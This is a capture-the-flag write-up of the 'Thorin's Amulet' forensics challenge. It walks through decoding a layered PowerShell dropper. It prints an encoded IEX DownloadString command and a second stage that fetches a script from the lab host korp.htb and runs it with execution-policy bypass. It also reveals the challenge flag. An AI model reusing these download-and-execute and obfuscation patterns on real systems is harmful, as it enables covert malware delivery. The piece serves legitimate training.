Thorin’s Amulet

Author

0x42697262

Category

Forensics

Difficulty

Very Easy

Play Date

2025/03/22 - 2025/03/25

The challenge can be downloaded here: forensics_thorins-amulet.zip

Overview

Description

Garrick and Thorin’s visit to Stonehelm took an unexpected turn when Thorin’s old rival, Bron Ironfist, challenged him to a forging contest. In the end Thorin won the contest with a beautifully engineered clockwork amulet but the victory was marred by an intrusion. Saboteurs stole the amulet and left behind some tracks. Because of that it was possible to retrieve the malicious artifact that was used to start the attack. Can you analyze it and reconstruct what happened? Note: make sure that domain korp.htb resolves to your docker instance IP and also consider the assigned port to interact with the service.

This forensics challenge involves analyzing a Base64-encoded PowerShell "malware" script. The script retrieves another script from a web URL protected by basic authentication. Inside the downloaded script lies the actual malware code—our flag.

Investigation

I opened artifact.ps1 and immediately noticed a Base64-encoded string being executed with powershell.exe -EncodedCommand.

The source code of the script can be downloaded here.

As I do not like running scripts without checking them first, I opened the script in a text editor:

artifact.ps1
function qt4PO {
    if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") {
        exit
    }
    powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik="
}
qt4PO

Decoding the First Layer

Here’s the relevant line:

powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik="

This suggests that the script is trying to execute a command encoded in Base64.

Interestingly, the script contains a basic anti-analysis check:

if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") {
    exit
}

If the computer name isn’t WORKSTATION-DM-0043, the script terminates. This is likely an attempt by the author to prevent execution on unintended machines.

Since I was too lazy to open CyberChef, I extracted and decoded the Base64 string directly:

cat artifact.ps1 | grep -Eo '"[A-Za-z0-9=/]+"' | tr -d \" | base64 -d

Explanation:

  • grep -Eo '"[A-Za-z0-9+/=]+"' artifact.ps1

    • -E: Enables extended regular expressions.

    • -o: Outputs only the matched text, excluding surrounding content.

    • "[A-Za-z0-9+/=]+": Matches a quoted Base64 string (Base64 consists of A-Z, a-z, 0-9, +, /, and = for padding).

  • tr -d \"

    • Removes double quotes from the matched Base64 string.

  • base64 -d

    • Decodes the extracted Base64 string.

However, a more robust approach would be to directly extract and decode the Base64 string in one step using awk and `base64 -d`:

awk -F'"' '/EncodedCommand/ {print $2}' artifact.ps1 | base64 -d

But why is this better?

  • Instead of searching for arbitrary quoted strings (grep method), it directly finds the EncodedCommand line.

  • awk -F'"' '{print $2}' extracts only the content inside the quotes.

  • More precise and avoids unintended matches.

This gave us:

IEX (New-Object Net.WebClient).DownloadString("http://korp.htb/update")

So, the script is attempting to download another payload from http://korp.htb/update using PowerShell’s DownloadString method.

Fetching the Second Script

The source code of update.ps1 can be downloaded here.

update.ps1
function aqFVaq {
    Invoke-WebRequest -Uri "http://korp.htb/a541a" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1
    powershell.exe -exec Bypass -File "a541a.ps1"
}
aqFVaq

In update.ps1, there is a function aqFVaq.

This function fetches another script from http://korp.htb/a541a, but this time it requires authentication via a custom HTTP header (X-ST4G3R-KEY). Without this header, the request would fail.

I used curl to manually download the script:

curl http://korp.htb/a541a --header "X-ST4G3R-KEY:5337d322906ff18afedc1edc191d325d" -o a541a.ps1

Now, let’s check out a541a.ps1.

Reconstruction

The source code of a541a.ps1 can be downloaded here.

This is the entire a541a.ps1 script:

a541a.ps1
$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d"
($a35 -split "(..)" | ?{$_} | % {[char][convert]::ToInt16($_,16)}) -join ""

Notice that a hex-encoded string is assigned to the variable $a35 and the variable gets decoded on the next line.

Since nothing is being executed dynamically here, it should be safe to decode.

Decoding the Payload

Running it in PowerShell:

$ powershell a541a.ps1
HTB{7h0R1N_H45_4lW4Y5_833n_4N_9r347_1NV3n70r}

Hence, flag captured! šŸŽ‰

If you do not trust the code or do not know how to read powershell scripts, it is completely okay to copy the encoded flag hex values into CyberChef.